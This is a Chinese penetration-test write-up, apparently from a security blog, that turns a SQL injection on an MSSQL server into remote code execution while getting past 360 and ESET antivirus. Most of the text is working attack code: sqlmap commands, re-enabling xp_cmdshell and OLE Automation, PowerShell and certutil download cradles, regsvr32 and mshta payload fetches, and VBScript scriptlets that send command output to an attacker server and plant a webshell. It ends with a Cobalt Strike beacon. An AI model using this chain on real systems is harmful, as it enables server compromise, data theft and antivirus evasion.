1.声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
2. 突破口
一开始是一个外网的SQL注入,通过sqlmap正常操作,得知是DBA权限,数据库:MSSQL
sqlmap.py -u"http://xxx.com/xxx/xxx.aspx?yum=xx&xx=xx"-p yhm --random-agent --cookie='ASP.NET_SessionId=xxxx'
直接通过--os-shell来执行命令:
[18:39:23] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y
[18:39:25] [WARNING] xp_cmdshell re-enabling failed
1. 启用xp_cmdshell
手动启动语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行:
exec master..xp_cmdshell"whoami"
2. 启用OLE Automation
通过启用xp_cmdshell失败,sqlmap还会尝试sp_OACreate,sp_OACreate这个方式是不带回显的,通常利用语句如下:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\who.txt'
通过调用sp_oacreate能够获得一个数字返回值,若全是0,则执行失败,必须有1。
3. 判断网络环境
能执行命令后,为了判断能否出网,先尝试DNS Log。
在os-shell中,执行:nslookup xxxxx.net,burp看回显即可。
DNS能出,接下来看TCP报文...
这里我使用certutil、bitsadmin命令来测试,但是么有截图...
$ python3 -m http.server
os-shell>certutil -urlcache -split -f http://xxx:8000/
收到相应的请求后,基本上稳妥了,可以采用reverse_tcp的方案,用powershell反弹一个beacon到Cobalt Strike上。
4. Regsvr32妙用
测试的过程中,并不顺利,后来我发现它有反病毒软件...
尝试了以下方法:
powershell.exe -nop -w hidden -c"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a22'))"
regsvr32 /s /n /u /i:http://x.x.0.x:8080/zfgJrh6V.sct scrobj.dll
mshta http://xxx.xx.xx.xx/1.hta
然后我发现msf exploit/multi/script/web_delivery生成的地址,都会在底层调用一层powershell
目前,这种download+iex方式肯定不行了,然后我就改了几个脚本,通过HTTP Log来回显执行结果:
获取进程列表:
<?XML version="1.0"?><scriptlet>
<registration progid="d08c96"classid="{cea46581-c344-4157-b891-30f358f1522d}">
<script language="vbscript"><![CDATA[
Sub getName(name)
Dim http
Set http = CreateObject("Msxml2.ServerXMLHTTP")
http.open"GET","http://xxx.xxx.xxx.xxx:8086/"+name, False
http.send
End Sub
Sub Cmd(command)
Set oShell = CreateObject("WScript.Shell")
Set Re = oShell.Exec(command)
Do While Not Re.StdOut.AtEndOfStream
getName Re.StdOut.ReadLine()
Loop
End Sub
Cmd"powershell -w hidden -c $s=Get-Process;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;"
]]>
</script>
</registration></scriptlet>
执行:
wmic process call create"regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx:8086/p.txt scrobj.dll"
获得回显。
获得进程列表后,看到有EST Nod32、360等防护软件,看来需要做的工作有很多。
列目录:
<?XML version="1.0"?><scriptlet>
<registration progid="d08c96"classid="{cea46581-c344-4157-b891-30f358f1522d}">
<script language="vbscript"><![CDATA[
Sub getName(name)
Dim http
Set http = CreateObject("Msxml2.ServerXMLHTTP")
http.open"GET","http://xxx.xxx.xxx.xxx:8086/"+name, False
http.send
End Sub
Sub Cmd(command)
Set oShell = CreateObject("WScript.Shell")
Set Re = oShell.Exec(command)
Do While Not Re.StdOut.AtEndOfStream
getName Re.StdOut.ReadLine()
Loop
End Sub
Cmd"powershell -w hidden -c $s=Get-ChildItem D:\web4_new\;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;"
]]>
</script>
</registration></scriptlet>
下载WebShell:
<?XML version="1.0"?><scriptlet>
<registration progid="d08c96"classid="{cea46581-c344-4157-b891-30f358f1522d}">
<script language="vbscript">
<![CDATA[
Set Shell = CreateObject("Wscript.Shell")
Set Post = CreateObject("Msxml2.XMLHTTP")
wfolder ="C:\inetpub\wwwroot\xxx\111english.aspx"
Post.Open"GET","http://xxx.xxxx.xxx.xxx:85/bak/english.txt",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile wfolder,2
]]>
</script>
</registration></scriptlet>
通过指定不同的txt,执行不同的代码。
当然,毫无疑问的最终获得了beacon:
免杀环节就不记录了。
5. 总结
外网多个sql注入-SQL Server DBA,无回显,360+ESET NOD32 Antivirus,regsvr32通过一个ole对象执行VBscript,使用--os-shell,底层执行的父进程是一个mssql service,所以av可能不那么关注,但是通过--os-shell直接创建powershell,就会被拦截;
通过加载我服务器上的sct文件,执行自定义的vbs之外,我发现它不会阻止vbs派生powershell;
但是通过vbs直接派生powershell下载代码执行、或直接反弹,都被干掉。由于没有回显,无法确定我免杀的木马落地目录,只能用powershell获取目录、当前用户情况,返回base64,交给vbs,请求http log。得到服务器环境,最终确定落地目录后,基本上就可以GETSHELL、上线等操作。
由于反病毒软件会监控xp_cmdshell,一执行就会返回CreateProcess Error Code 5等问题,sp_oacreate是能够解决,但是没有回显,可通过发送网络请求来看。
sp_oacreate是基于ole对象的,ole对象执行拦截的较少、包括regsvr32也是调用的ole对象去执行vbs代码,这其中有一种白名单派生关系。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\who.txt'
其中'wscript.shell'就是一个对象,这个对象可以是其他ole对象,具体还需要继续发掘。
文由雷神众测